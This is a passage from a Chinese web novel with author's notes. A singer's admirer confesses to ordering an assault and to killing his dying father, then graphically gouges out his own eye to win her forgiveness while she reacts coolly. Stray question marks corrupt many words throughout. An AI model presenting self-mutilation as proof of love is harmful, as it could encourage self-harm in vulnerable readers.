他顿了顿,似乎在找合适的词:“更像是?眼睁睁看着气?球飘向高空,明知?道再也?抓不?回来,却连伸手的力气?都没有的那种绝望。” “就像赌徒算牌,算到最后?,发现手里所有的筹码加在一起,也?注定要输光底裤的时候。” “你什么时候赌。博了?”我问。 “……很久之前?,现在不?玩了,不?过这不?是?重点。” 他加重语气?,朝那边看了眼,颇为沉重地叹了口?气?:“人?啊,要懂得知?足才对。” 宗朔低头看向我,微微下垂的眼睛流露出闪烁的光,很快他移开视线,看向门口?:“最近有很多工作吧,大明星,整出那么新闻,粉丝可是?要闹翻了天。” “还要过段时间。” 我想了想,又看向被他夹在手臂处的袋子,问:“你今天有空吗?” “……终于想起我了?” 宗朔摸了摸自己有些干裂起皮的嘴唇,舔了一下,有些烦躁地把手插回羽绒服口?袋:“虽然我应该感到高兴,但不?得不?还有一个电灯泡。” “谁?” “麦景。”他没什么情绪地说,“他在楼下车上等我。” 我提议:“那一起吧。” 宗朔的嘴角狠狠地抽动了下,迟疑地看向我:“你确定?” “对啊。” 我说:“我们去——” 我绞尽脑汁地思考,要去哪里呢?去看风景,还是?去玩刺激的?但是?车千亦叮嘱过,最近不?要去人?很多的地方,所以只能去私人?场所。 我最终得出结论,尾音转了一圈,终于落地:“去酒吧!” 宗朔盯着我看了几秒,最后?露出熟悉的、妥协的神情,又看了眼不?远处的人?,“那你哥怎么办?就这么丢下他?” “他是?个成年人?了,会自己回家的。” 没等他再说什么,我跑到哥哥面前?,他正在和护士说话,我从黑色的雾气?里判断出了他的动作,应该是?拿出卡打算付款。 我对着大片的黑说:“我要出去玩,今天晚上会晚点回来,你等会自己回去吧。” 黑色的形状停滞了一瞬,然后?,头部的位置微不?可察地点动了一下。 于是?,我跟着宗朔离开了医院。 坐上车后?,麦景从驾驶室投来了目光,他看到我,眼睛像是?被刺伤似的,猛地转过头,紧绷地坐在驾驶室里。 宗朔和我坐在后?排,随意拍了下门,说:“司机,去最近的酒吧,旁边这位大人?打算带我们玩一天,她?说她?要请客。” 请客?我摸了摸下巴,看着宗朔没骨头似的歪倒在后?座,脸色有点苍白,眼下黑眼圈浓重。 看在他为公司兢兢业业加班到快猝死的份上,请一次就请一次吧。 “……去酒吧?” 前?面传来麦景略显迟疑的声?音,“可是?现在……不?是?敏感的时期吗?” 我知?道他指的是?最近的舆论风波,但我报出了一个从邛浚那儿听来的、据说颇受某些上层人?士青睐的私人?酒吧地址。 听到我的话,麦景没了声?响,安静地踩在油门,朝着指定方向走去。 宗朔歪着头瞥向我,慢悠悠地说:“你真的不?怕那些狗仔拍到吗?最近你应该是?他们的宠儿。” “有霍亦瑀。” “他自顾不?暇,万一没注意到,或者其他人?做点什么,这些事迟早会曝光的。” “那就让它曝光吧。”我说。 “……” 宗朔的视线停顿在我脸上,看了好一会儿,“我还以为你会比较爱惜自己的羽毛,毕竟那么多人?喜欢你,以前?看起来好像也?挺在意他们的看法。” 我想了想,在乎吗?就算是?近在眼前?的人?,我可以选择无视,那些隔着屏幕、遥远得像在另一个星系的粉丝们,只要不?主动去看手机,他们的声?音似乎就无关紧要了。 而且,按照车千亦灌输的理论,这说不?定也?是?一种炒热度的方式,有些明星不?就是?靠黑料和争议维持关注度的吗? 只要演唱会的时候来看我就好了。 想到这,我通知?道:“我要开演唱会了。” “我知?道。”宗朔点点头,语气?没什么波澜,“现在恐怕没人?不?知?道了。” “到时候你也?来吧。” 我说:“虽然你总说我偏心,但是?我其实很在乎你,如果你来的话,我会开心的。” 宗朔好久没说话,等我看过去时,他脸上挂着一种混合着诧异和荒谬的表情,良久才吐出一句:“是?我没睡醒,还是?你没睡醒?” “……我可以去吗?” 驾驶室传来低低的声?音。 宗朔朝前?瞥了一眼,没说话,只是?撑着手臂,手指无意识、高速地摩挲着膝盖,眯着眼睛打了个长?长?的哈欠。 “可以啊。”我说,“我有很多张票” 麦景的视线从后?视镜传来,短暂的、有些发热的,但很快他看向前?方,嘴角微微上扬。 “这种事,应该背着我商量才对。” 宗朔说:“听着怎么就那么让人?不?舒服呢。” 车很快行驶到传说中高贵的酒吧门口?,等坐进二楼的私人?包厢,我才反应过来,这里和私人?会所没什么大区别,不?过一楼是?卡座而已,还有点像[极乐世界]的装修。 我把这件事告诉宗朔,宗朔很平静地说这是?以前?投资过[极乐世界]的人?投资的。 “原来都是?统一审美。” 我摸摸沙发,看着他们两个,感觉自己也?体验了一把点男公关。 往旁边看去,下面是?零散坐着的客人?,灯光晦暗不?明,流淌着暧昧的光。 “怎么想起来酒吧了,才从医院出来,第一个想去休闲的地方零散是?酒吧……该说你自由呢,还是?说想一出是?一出。” “听说这里的酒好喝。” 我拿过点单的平板,把上面的酒都点了一遍。 宗朔在旁边看着,嘴角抽了下,“你是?打算来喝个宿醉的吗?” “我是?不?会醉的。” 宗朔:“可不?要说没体会的事,万一今天就醉了呢?你也?不?知?道会发生什么吧。” 我竖起食指左摆右摆,蔑视地看着他:“这种事是?绝对不?会发生的。” 宗朔勾起嘴角,露出兴味的表情,耸耸肩膀,举起桌上的杯子,轻轻碰了下放在我面前?的杯子:“那不?如试试呗。” 自打进了包厢,他似乎彻底放松下来,脱掉厚重的羽绒服,里面是?件领口?松垮的衬衫,一动就能瞥见锁骨上那片纹身。 就在我看的时候,麦景也?脱下外套,他穿着黑色的毛衣,遮挡住脖子,但他刻意地挽下领口?,露出爬满脖子的纹身,像是?某种荆棘,刺在脖子的一侧。 宗朔一看,啧出声?:“能不?能别搞这种竞争,再卷下去,你迟早会变得不?人?不?鬼的。” 可惜他的话完全被无视了,麦景帮我倒水,关切地问:“温度适合吗?需不?需要再点些其他的东西,才从医院出来,如果喝太?多的话,身体可能会出状况。” 我:“生病的不?是?我。” 麦景不?说话,将杯子放下,安静地坐在我旁边。 宗朔干脆盘腿坐在厚厚的地毯上,手肘撑着膝盖,托着下巴看我,嘴角挂着一丝意味不?明的笑?。 这时,敲门声?响起,服务员推着小车进来,上面密密麻麻摆满了我们点的各种酒水,五光十色,像座小型液体展览馆。 等他码好,宗朔率先一步给自己倒上,看着杯子里宛如蜂蜜的色泽,他抬起眼皮,开口?道:“只喝酒也?无聊,我们玩玩其他的吧,就玩那个……我从来没有好了。” 我知?道那个游戏,在短视频里刷到过,不?是?真心话大冒险,倒是?让我来了点兴趣。 于是?我点点头。 宗朔先开头,他举起自己的手,慢悠悠地说:“我从来没有加班到凌晨五点。” 我和麦景同时弯曲的手指,而宗朔一动不?动,拥有大量的加班经验。 轮到我,我立马说:“我从来没有拥有过私人?飞机。” 于是?在赢了一把的同时,我也?成功地炫富了。 麦景思考片刻,说:“我从来没有赌。博过。” 宗朔耸了下肩膀,弯下一根手指,接着他说:“我从来没有因为欠了人?情,而做出不?被允许事。” 我没搞懂,但我没有欠过谁的人?情,于是?转头看向麦景,他愣了下,缓慢地弯曲手指。 “我从来没有拥有过赛马场和跑车。” 他们看了我一眼,同时弯曲手指。 “我从来没有当过男公关店的老板。” 宗朔弯曲手指,他倚着沙发背,视线投向天花板上朦胧的灯晕,仿佛在回忆什么。 “……” 他想起什么,点点头,过:“我从来没有和别人?牵上线,因为看不?惯某个人?而伤害别人?的事。” 在我们的注视下,麦景的脊背几不?可察地绷紧了,他没说话,只是?放在膝上的手,微微向内收拢。 他输了,所以桌面的酒要由他全部喝光。 几轮下来,宗朔像是?突然失去了兴致,开始频繁踩雷,被我的炫富逼得节节败退,只顾着仰头灌酒。 旁边的空酒瓶越堆越高,他说话的声?音也?开始变得黏糊糊的,词句像融化的太?妃糖一样粘在一起。 宗朔把额头抵在冰凉的玻璃茶几上,费力地撩起沉重的眼皮瞥我一眼,眼神涣散:“你还真是?……千杯不?醉啊。” 我倍感精神,旁边的麦景也?埋着头,一动不?动,没什么动静。 我在灯光下观察酒液,云淡风轻地说:“这种事,还是?太?难醉了。” “……你赢了,世界第一酒量。” 宗朔含糊地嘟囔,脑袋在桌面上蹭了蹭,忽然,他偏过头,直勾勾地看着我,浸透酒意的眼睛晃动着光。 “要问我吗。今天为什么在医院?” 我把杯子放下,看着他,打算今天做一个和善的人?。 “为什么?”我顺着他的话问。 “……因为我得了绝症。” 他声?音闷闷的,但情绪稳定,听上去像是?真话:“治不?好的那种,只有几个月可以活了。” “想让你可怜可怜我,所以才在你去的时候也?去了,想着说不?定能被发现病例,让你流几滴眼泪……” 这种桥段像是?某种狗血电视剧,我盯着他看,但这人?表情不?变,始终是?那副颓丧的、困得睁不?开眼睛的表情。 我盯着他,他盯着我。 像是?较量谁先眨眼似的。 真的假的?管它的,先当成真的好了。 我倒吸一口?凉气?:“真的吗?” “不?是?。”他整个人?垮了下去,有气?无力地捶了捶自己的后?腰,“骗你的,就是?坐太?久,腰椎有问题,老毛病。” “哦。那你以后?少坐点吧。” “还有。”我想了想,补充一句,“别死了。” 他闷闷地笑?了起来,将头埋在手臂里,懒洋洋地说:“知?道了。” 不?知?道又过了多久,我把最后?一瓶颜色诡异的酒喝完了。 宗朔已经彻底阵亡,十分?安详地躺在地毯上,把脱下来的羽绒服卷吧卷吧当枕头,就这么睡着了,呼吸均匀。 而麦景靠在沙发上,一动不?动。 在我思考给司机还是?给哥哥打电话拨时,一只手抓住我。 麦景睁开了眼睛,那双眼睛在昏暗的光线下异常清明,丝毫不?见醉意,他看着我,声?音压得很低:“小冬,我们可以单独聊聊吗?” 我看了眼宗朔,他无知?无觉地躺着,呼吸均匀。 “好吧。” 聊天地点挪到了他的车里,外面又飘起了雪花,纷纷扬扬,他发动车子,打开暖气?,然后?下意识地握紧了方向盘,眼神有些发直,不?知?道在想什么。 一朝被蛇咬十年怕井绳,我提醒道:“酒驾是?犯法的。” 他愣了一下,像是?才反应过来,立刻松开了方向盘,转而用力地握住了自己的双手,指节微微发白。 “我要坦白一件事。” 他张开嘴,停顿片刻,一字一句地说:“柯觅山的事……是?我做的。”—— 作者有话说:和生活搏斗中(右勾拳)(右勾拳) 第115章 我的脑子冒出了?巨大的问题, 停顿几秒后,才继续运转。 我原本以为他?想借钱,或者说点以前那样毫无嚼劲的话,现在看来?, 很有嚼劲了?。 “是你啊。”我说。 他?应了?一声, 手指绞得更紧, 目光频繁地在我脸上梭巡,试图捕捉每一丝细微的表情变化,一字一句,像是从喉咙深处挤出来?。 “我们家在之前就有牵连, 因?为他?父亲和那个?当小三的男公关的事,所以结下了?一点梁子,我不喜欢他?的父亲, 也不喜欢他?。” 我努力回想以前的记忆,没?有发现他?和柯觅山有什么相关性:“可是他?来?的时候,你不是不在学校吗。” “宣传片。”麦景低声道,“我看过他?在学校拍的宣传片。” 我哦了?一声, 说:“所以你就对他?出手了??” “……嗯。” 这个?理?由简单直接得像是廉价快餐包装上的说明,让人怀疑它的真实性。 他?抬手,轻轻摸了?一下眉骨上方那道已经淡去、但仔细看仍能分?辨的旧疤:“这个?也和他?有点关系。” “如果不是他?们家的人,我后来?会少很多麻烦。” 我倒是没?仔细打听过柯觅山家的背景, 他?家到底是做什么的?又怎么会和麦景家纠缠得像一团理?不清的耳机线? 总之, 结论是他?是始作俑者。 “所以你就做了?这些?”我问。 “不全是。”他?很干脆地否认, “不过, 那个?动手的人是我找来?的,而且……我特意嘱咐他?,往柯觅山的脸上招呼。” “他?的脸, 应该彻底毁了?。”麦景的语气很平静,像是在陈述天气。 “还有眼睛。” 他?顿了?顿,补充道:“我看过初步的伤情鉴定,右眼因?为刀伤太深,视神经受损,需要手术摘除。” “哇。” 我终于知道了?一点柯觅山的近况,视线扫向麦景脸上那道疤:“所以你是一报还一报,他?是罪有应得的。” 听到我的话,麦景只?是喃喃自?语地说:“……小冬会讨厌我吗?” 他?忽然问,没?等我回答,又自?己摇了?摇头,低声说下去:“其实从来?没?有喜欢过吧?我知道,小冬对我的感觉,大概就像看到路边的流浪猫,偶尔心情好,才会丢一点食物那种程度。” “你不是怕猫吗?为什么要用这个?形容。” 麦景愣了?一下,嘴角极其缓慢地、艰难地向上弯,形成一个?类似微笑的弧度:“原来?你还记得。” “……其实不是猫。” 他?忽然深深地吸了?一口气,仿佛下定了?某种决心:“只?是害怕看到那种弱小的生命,在垂死?边缘痛苦挣扎的模样。” “以前我骗了?小冬。”他?闭上眼睛,又睁开,眼底有些空茫,“曾经说过的,在家里?消失的猫……其实是我父亲。” “他?得了?很重很重的病,晚期,每天都疼得像被活剐,有时候会像受伤的野兽一样发出尖锐的嚎叫,最难受的时候,他?会砸掉家里?所有能碰到的的东西,死?死?抓着我,求我帮他?解脱。” “我的伤,很多时候其实是他?弄出来?的,不是被其他?人打的。” 他?解释完,握紧的手逐渐松开,语气变得轻松。 “那时候,家里?真有一只?流浪猫,不知道从哪里?跑来?的,很亲人,慢慢就住下来?,可是后来?,它不知道在外面怎么受了?重伤,肠子都快流出来?了?,一直惨叫,用尽最后力气抓伤了?我的手臂,我、我想帮它结束痛苦,可我太笨了?,石头没?砸准,它流了?很多血,过了?很久很久才彻底不动。” “就在那天晚上父亲又发作了?,他?跪在地上求我,说他?再?也受不了?了?……” 麦景平静地说:“后来?……我帮了?他?,他?最后的样子和那只?死?掉的猫,特别像。” “所以,你的母亲呢?”我问。 “她的精神从那以后就不太好了?,一直在疗养院,是姥姥在照顾她,以前她就不看好我的父亲,所以也不喜欢我。” 我点点头。 麦景缓慢地吐出一口气,像是彻底摆脱了?束缚,他?看着我,视线在我的脸上逡巡。 像是要吃白菜叶的蜗牛,首先触角要先试探一下。 为什么总说蜗牛呢,因?为我喜欢蜗牛。 “你其实挺好懂的。” 我像是评委一样开始点评说:“在那些一个?比一个?难捉摸的人里?面,你算是最简单直接的那个?。” “原来?还有这么简单的内心戏。” 我说:“因为觉得自己有责任保护我,所以把所有觉得苦的事藏在心里?,然后自?顾自?地觉得有多么深情。” “但是我不需要啊。” “你的突然离开和突然的追上来?,对我来?说都是不需要的东西。” “我不是你的责任,也不是你需要保护的人,只?是你这么认为而已,还坚持到了?现在。” 我看着他?,问:“除了?因?为我外,你就没?有其他?的原因?,没?有其他?的想法,没?有其他?的打算吗?没?有因?为自?己做过什么事吗?” 这算什么,那什么骑士病,还是什么心理?,忘记在哪本心理?疾病百科大全看到的。 麦景愣怔地看着我,仿佛被强光照亮,反应不过来?,他?没?有回答,也回答不出来?。 所以说,他?很无聊。 就像是最开始讲的那句话。 我说:“就像一个?被预先设定好程序的空壳,只?要给你一个?方向,你就会不管不顾地一直朝前走。” 我看着他?的眼睛,仿佛能透过这具温热的躯体,看到里?面那颗被各种指令和执念驱动、盲目跳动的心脏:“你好像已经没?有自?己的想法了?。” “你只?是头眼前吊着根胡萝卜,就闷头拉磨的驴而已。” 他?忽然流下眼泪,有些茫然地抬手擦掉,泪水却越擦越多,迷茫地说:“可是……我只?想跟着小冬。” “那如果我走了?呢?”我问。 他?的眼泪流得更凶,瞳孔里?倒映着我模糊的影子,仿佛无法理?解这个?简单的问题:“走了?是什么意思?” “离开这里?,离开你眼前,离开这个?世界。” 我随口说道,忽然灵光一闪,撑着下巴:“其实,给你一个?新目标就行了?吧?不管是真实的,还是虚构的。” “如果你觉得我是你的责任,那就在脑子里?再?假想一件必须为我做的事好了?,靠着这个?,继续活下去。” “……不能不走吗?” “不行。” 他?点了?点头,眼泪还是不停地掉。 我伸手拍了?拍他?的脑袋:“想要方向的话,就自?己去找一个?吧。” 他?却忽然抓住了?我的手,将额头抵在我的手背上,低声喃喃:“可是,我只?想要你。” “那再?假想一个?关于我的理?由好了?。” 我说:“反正?每个?人眼里?的我都不一样,你怎么想象我都无所谓,按你自?己的心意,虚构一个?完美的人出来?,让她一直陪着你,不就行了??” “就像是柯觅山一样。” 我说:“他?也有这种病。” 搞不明白,但是他?们喜欢认为我是他?们的责任,想要帮助我、拉住我、看着我。 麦景抬起头,忽然问:“小冬是在生我的气吗?” 沟通无效,又是一场牛头不对马嘴的谈话。 我转过头,看向窗外,雪花簌簌落下,无声地覆盖万物,车内暖气开得很足,烘得人有些昏昏欲睡。 噗嗤。 一声轻微的、诡异的声响。 紧接着,是液体滴落的、滴滴答答的声音。 我透过后视镜看去—— 一抹刺目的红,正?从麦景右侧的眼眶边缘蜿蜒流下,划过苍白的脸颊,那红色迅速扩散、延长,像一条细小的溪流。 他?一声不吭,用不知道从哪里?摸出来?的、尖锐的东西,捅进了?自?己的右眼,然后不断地撬动着,发出令人毛骨悚然的撕裂声响? 他?用左手死?死?捂住血流如注的眼眶,另一只?完好的眼睛因?为剧痛而无法聚焦,瞳孔涣散,但视线仍然固执地、死?死?地钉在我身上。 “我记得小冬说过。”他?因?为疼痛,声音断断续续,气息不稳,“因?为我做错了?事,想把我的眼睛扣下来?。” “柯觅山的事,这样可以补偿吗?” 每说一个?字,他?的身体都因?为忍痛而微微痉挛。 天使?:“这个?人类的行为逻辑,符合等价交换原则,我懂他?的想法。” 我没?理?会脑子里?的声音。 一阵湿润的割裂声后,眼球掉进他?的手心。 那颗被他?自?己伤到的眼珠,已经失去了?神采,和之前待在眼眶里?时那种偏执的亮光不同,此刻它灰暗、浑浊,像一颗蒙尘的玻璃珠。 “我要跟着小冬。”他?咬着牙,从齿缝里?挤出话语,带着血腥气,“无论你去哪里?……做什么……就算要离开,我也要一直跟着。” “只?要还能看着你就好。” 他?捂着伤口的指缝间不断渗出新的血液,试图说个?冷笑话:“我还有一只?眼睛。” 我到底是该笑,还是不该笑呢?笑的话,总觉得有点不太道德。 不过我没?有道德吧,我只?遵守法律来?着。 车里?的暖气吹得人燥热,我拿出手机,搜索掉出眼眶的眼睛还能不能安回去。 麦景却在这时,颤抖着、固执地将那颗沾满血、已经失去光彩的眼球,往我手边递。 疼痛让他?全身紧绷,血液浸湿了?他?半张脸,在黑色的毛衣领口洇开大片深色。 看来?又得去医院了?。 “你到底在想什么啊。”我喃喃道。 “想被原谅……想重新……回到你身边。” 他?喃喃着,意识似乎因?为失血和疼痛而有些模糊:“我已经不能再?失去你了?。” 我看着那颗了?无生气的眼球,觉得它待在眼眶里?的时候,虽然偏执,至少还有光,现在这样子只?让人觉得诡异,像死?鱼的眼睛。 我指了?指他?手里?那颗眼睛,问:“这个?要怎么处理??” 麦景盯着我的嘴唇,似乎在努力分?辨我说的话。 剧痛让他?的脸色白得像纸,脖子上的青筋因?为忍耐而暴起,他?似乎想用伤害自?己的方式来?转移另一种更深层的痛苦。 “你也太固执了?。” “这世界上没?有那么多一定的事,不过……”我顿了?顿,“我也不会干涉你的决定。” “我打120了?。等会儿救护车来?,你自?己去医院吧。” 他?点点头,依旧捂着眼睛,异常乖顺地看着我,等我抬起手,他?自?动地、温顺地弯下腰,将额头轻轻靠在我的手掌下。 那只?完好的左眼,一眨不眨地望着我。 果然,还是待在眼眶里?的时候,比较顺眼。 就在这时,手机震动起来?,屏幕上跳跃着另一个?人的名字。 我接通电话。 听筒那边,是长久的沉默,只?有细微的、不平稳的呼吸声。 “……” “喂?” 又是几秒的沉默,然后,柯觅山的声音响起,沙哑得几乎听不出原样:“你去医院了??” 我说:“对,我去看浦真天了?。” “那我呢?”他?的语气轻得几乎听不到,“那我算什么?” 我有些疑惑地说:“你不想让见你,为什么又问呢?” “……你说得对。” 他?说:“我这幅模样,谁也见不了?。” 我念念有词:“果然不应该立flag,如果你不说一段时间的话,说不定就会发生这种事了?。” 手下的麦景呼吸粗重,忽然抑制不住地发出一声短促的、沉重的抽气声。 电话那边听到了?。 柯觅山在那边静了?一瞬,然后,极其短促地轻笑了?一声:“怎么可能,该发生的事,一件都不会少,不会因?为少说一句话,就走向什么完美结局。” “从决定去见你的那一刻,我就有种预感。”他?的声音低下去,像在自?言自?语,“就像是泉卓逸一样,一种会从很高的地方摔下来?,砸得粉身碎骨的预感。” “有了?前车之鉴,我应该知道的,在看到你的那一秒,所有靠近的尝试都带着不祥的预兆,本来?应该早点接近你,却被推得更远……本来?应该放下成见,却越陷越深。” “我不喜欢说这么多话。”他?忽然说,语气里?带着点自?我厌弃,“这样会显得我特别没?有自?尊。” “但我疯狂地想要说点卑微的话,求你多看我一眼,求你看看我现在是多么的悲惨,想要得到你的垂怜,听到你一句的安慰。” “我应该说脸可以修复,会恢复到以前的模样,所有事也一样,会恢复到以前的模样。” “然后再?卖惨,像个?落水狗一样跪在你的脚边,祈求你多看我一眼,多说一句话。” “哪怕只?是没?关系这句话。” “但只?要一想到这些话可能会不受控制地从我喉咙里?滚出来?……我就觉得无比恐惧,恶心得想吐,更让我震惊的是,我竟然可以把自?己的自?尊放到这么低的位置,都这个?时候了?……居然还在可悲地考虑着形象。” “自?尊……”他?咀嚼着这个?词,声音干涩,“做人总该有点自?尊吧?” 自?尊是种在体内的钢筋,笔直地对着天,看他?每天把背挺那么直,就知道肯定是不想弯腰的人。 “我现在有点不知道,我到底是不是我了?。” 他?低声,茫然地说:“这幅人不人鬼不鬼的模样,真的是我吗?” 痛苦的情绪隔着手机,像是榴莲的刺一样扎手。 “你哭了?吗?”我说。 “……没?有。” 他?停顿片刻,说:“眼睛受伤了?,眼睛掉出来?的会很疼的,学妹。” “那你现在是什么感觉。” “全身都痛,脸上的伤口,在新肉长出来?之前,每一次呼吸都痛得想死?。” “我有个?办法。”我说,“只?要你不再?想我,不要再?说爱我,不就行了?吗?” “因?为你的爱好像怎么也越不过你的自?尊,那不如就退回去,退到最开始的地方好了?。” 我说:“你试过了?吧,不行,对吧?” 所以才会说一段时间,所以才会显得焦急又平静。 我有些搞不懂了?,既然自?尊是个?无法跨越的壁障,那到底是什么让他?突然来?到我身边,带着我出去旅游的? “……” “有时候我在想,我到底是该恨你,还是该爱你。” “要说爱这个?字吗……算不上吧,恨,也不够纯粹。” “如果可以的话,继续讨厌我吧。” 我:“如果你想的话。” 他?的声音在听筒里?响起,像有虫子在他?喉咙里?爬行、啃噬,最终变成一种陌生的音调。 柯觅山轻喃道:“痛,真的很痛。” “就当做一切都没?有发生好了?。”我说,“就当做还是以前那样好了?。” 他?的声音最后化作一声短促的、被强行压抑下去的哽咽,然后是漫长的沉默,最终被挂断的嘟声切断。 救护车的声音逐渐接近,我拍了?拍窗外,由远及近传来?了?救护车刺耳的鸣笛声。 我拍了?拍麦景的肩膀,他?挺直身体,推开车门,脚步踉跄地朝闪烁着蓝红光芒的救护车走去。 温热的血液,一滴滴绽开在洁白冰冷的雪地上。 我看着救护车载着他?远去,消失在漫天飞雪和夜色里?,重新靠回椅背上,陷入了?某种放空般的沉思。 放弃真的那么难吗?为什么要这样反反复复地折磨自?己呢?为什么明知道做不到,却还是偏执地、不惜一切代价地去做呢? 人的想法真是奇怪,有的人尝过痛苦就要后退,有的人痛过之后要挣扎,有的人还停留在原地。 我解锁手机屏幕,几条新闻推送弹了?出来?。 [国内两大集团宣布达成战略合作,共同拓展新兴市场,受此利好消息影响,相关板块股市开盘即大幅拉升……] 配图是颜升和霍亦瑀的秘书?,在无数闪光灯下,面带标准而疏离的职业微笑,紧紧握手。 紧接着,一条沉寂许久的消息,悄无声息地挤进了?屏幕顶端。 [未命名]:他?要去找你了?—— 作者有话说:啊哟喂,原本打算写冬子把眼球吃了的,但还是算了。 接下来,必须得分析一下麦景此入 以前身上的伤是因为他爸发病打的,之后有一部分是他姥姥派人打的,觉得他一点也没有上进心,跟他爸一样是坨烂泥扶不上墙,竟然选择平凡的人生,不想接受责任,最后他听到这番言论,意识到自己应该承担责任,于是立马不酸涩了,变成脑袋空空的人,一心只想着要回到冬子身边,回到身边就等于回到以前,不管怎么样,待在一起是约定过的,一定要做到 说过可以养冬子,是因为他是真的这么想的,觉得冬子很弱,需要自己的保护,所以自己需要成长,有种把原因全部归结到冬子身上,不管受了多少罪,都是为了冬子,可以忍,因为以前也是这么看他妈爱他爸,所以代入了,除了冬子,他没有其他任何的想法,是个完全的空心人 听不懂冬子说话也是真的,觉得冬子是因为自己伤害了学哥所以生气了,一报还一报,又把伤还回去了,其实对于学哥,他只有淡淡的忮忌心,不过冬子说他无聊之后,忮忌心大爆发,想起所有的事,觉得应该处理下学哥,刚好有人提建议,他就答应了,只是单纯地被说动了而已,因为他就没啥脑子 宗朔知道他做了啥,所以告发了,至于他到底有没有生病,其实病了,但是开玩笑说没有,反正死期将至,也不管了,其他人也不会对他出手,不过还是对麦景有意见,在他心里,麦景就是个听不懂人话的巨婴,没有眼力见,还粘牙,所以害一下也没有心理负担, 宗朔原本的心理是争一下吧,但是工作实在太多了,怎么努力也达不到,他其实能力没有那么厉害,已经付出了很多才到今天这一步,知道自己能力不行其实让他心里很不好受,以前还可以假装是因为自己在堕落,现在装都不能装了,想摆烂,但是又离不开冬子,所以只能坚持到最后,不再要求地位,但时时刻刻都在受伤状态,知道自己得病后松了口气,不过还是不甘心,但没什么用,彻底摆了 至于学哥,高自尊心,一直不打算承认对冬子的感情,但在意识到普子出事后,觉得自己应该做点什么,认为冬子无辜又可怜,非常怜爱,但只是稍微主动,在拙拙跳了之后变成尤其主动,一时间情感大于了自尊,所以靠近了,冲动地一起出去旅游,但计划被天气打乱,意识到不可能一直在一起,所以打算回去沉淀,结果就被阴了,自尊再次回到上风,不敢跟冬子联系,希望冬子主动来找自己,结果去医院不是来看自己,彻底破防,打电话想得到安慰,但是冬子完全顺着他的意思来,所以彻底破防了,打算维护自己仅剩的自尊,反正他也只剩这个了 富哥动了一下,不过还没解决完李四,他选择和鲜花饼假装合作,再整点事,总之鲜花饼也要出来了[眼镜]《 》 115-120 第116章 再见到时?, 是?在家门口。 霍亦瑀穿戴得一丝不苟,手里拎着一个素净的纸袋,站在我家门口,仿佛刚离开会议。 正如黎鸶那张乌鸦嘴所?料, 他还是?找来了。 昨晚我做了个梦, 梦里我把麦景那颗血淋淋的眼球当成果?冻吞了下去, 滑腻冰凉的触感顺着喉咙往下溜,醒来后胃里还泛着某种?难以?言喻的饱胀感,里面装满了尚未消化完全的、纷乱的情感。 看着穿着西装、无可挑剔的人,我还没回神, 仍然沉浸在肚子里到底有?没有?眼球的思?考中。 上?一次见到他是?什么时?候来着,是?不是?说过要好好聊聊来着,今天就是?聊的时?候了吗? 说起来, 昨天麦景去医院之后,给我发来了自己的情况,让我不用担心他,至于宗朔, 他昨天问了麦景死没死,听到没死后,失去兴趣,表示自己回去上?班了。 所?以?我应该没吃什么眼球。 我镇定地转过身, 让霍亦瑀走进房间里。 上?次他来的时?候, 浦真天还在, 这次, 只有?哥哥从厨房走出?来,手里端着刚洗好的水果?。 他看到霍亦瑀,脸上?没什么表情, 平静得近乎漠然,只是?将果?盘放在桌上?,用搭在肩上?的毛巾擦了擦手,水珠闪过微亮的光。 “这里的装修看上?还没有?完善。” 霍亦瑀说的第一句话,是?点评我家的装修。 他目光扫过光洁的瓷砖地面,嘴角噙着一点惯常的、弧度完美的微笑:“不打算再铺块地毯吗?我记得你有?时?候喜欢坐在地上?,软装也可以?再添一些,氛围会柔和很?多。” 我顺着他的视线看了看,确实?有?点空荡荡的,于是?点点头。 “车千亦那边快忙完了,演唱会的筹备,该上?心了。”他提醒,语气温和。 “知道啦。” 我咚地倒进沙发上?,抬眼看他,“所?以?你今天是?来监督工作的,还是?来送礼物的?” “只是?想来看看你。” 霍亦瑀微微颔首,轻抚手腕上?的扣子,目光在客厅里巡视一圈,最终落在我身边。 他走近,瞥见搭在沙发扶手上?的一件针织开衫,熟稔地说:“还是?老习惯,衣服随手放。” 下一秒,哥哥将衣服拿走,淡淡地说:“刚从阳台收下来。” “有?烘干机的话,其实?没必要再晾晒。” 霍亦瑀的视线移回我脸上?,轻描淡写地绕开了哥哥的话:“以?前你可从来不用操心这些。” “是?哥哥在洗衣服,”我说,“所?以?他决定怎么处理就好。” “是?吗。”霍亦瑀的语气波澜不惊,听不出?是?疑问还是?结论。 他自然地在我旁边坐下,肩膀轻轻挨着我的手臂,看向电视里正在播放的电影。 然后,他将那个纸袋放进我怀里,我拆开,里面是?一份制作精美的文件。 醒目的几个大字印在最上?方,雪乡度假区的部分股权转让协议,受让方写着我的名字。 我哇了一声,开心地说:“那我以?后就是?股东了?是?不是?随时?可以?去,想住多久住多久?” “嗯。” 霍亦瑀应道,目光温柔地落在我脸上?:“你想什么时?候去都可以?。我们的约定,你还记得吧?” 我下意识看向哥哥的方向。 他已经进了衣帽间,背影挺直,正在慢条斯理地挂衣服,侧脸平静无波,身上?的情绪被压抑得干干净净。 比起昨天那团翻涌的、几乎不成人形的黑雾,此刻的他显得异常正常,甚至正常得有?点过分。 我说过要带他去,但是?有?点搞不懂了,他到底想要干嘛。 第一次,我对?一个人的想法产生了无比深沉的疑惑,这是?一个世纪难题,如果?能够搞懂它,说不定就可以?成为人类研究学的开创者,顶级专家。 我的手被捏了下,转过头,霍亦瑀正看着我,嘴角挂着一抹笑,浅色的眼睛盯着我,在窗外的阳光下像是?兽类的眼睛。 他熟稔地抚摸着我的膝盖,说:“想清楚的时?候告诉我,不用着急。” “最近这段时?间工作还没结束,你也要忙演唱会的事,抽个时?间去吧,但要是?等到演唱会结束,说不定来不及了。” 我放下袋子,问:“你在忙些什么?” 他平淡地说:“大部分时?候都是?杂事,公司的事、项目的事、合作的事……还有?一部分是?黎鸶,他的存在就是?个问题。” “因?为太难缠了,他还有?帮手,所?以一时半会处理不掉。” 说完,他看向我,仍旧摩挲着我的膝盖,用近乎关切的语气说:“他还在和你联系吗?” 我还以为他不会说疑问句,而?是?陈述这句话。 黎鸶送的游戏卡正摆在桌上,而?项链则被我塞进了抽屉里。 霍亦瑀移开视线,看向搁置在桌上?的、零散的物品,语气波澜不惊:“让你被他缠上?,也有?我的责任,如果?我想的话,不可能就这样任凭他越过我,走向你。” “但我什么也不想做。” 他说:“至少,在明确知道你的想法之前,我还想看看。看看他,或者其他什么人,到底要怎么做……才能真的触碰到你的心意。” 我有?必要为自己辩解一下。 我:“我明明很?好懂。” 我做事明明知行?合一,做什么就是?什么,为什么会看不懂? 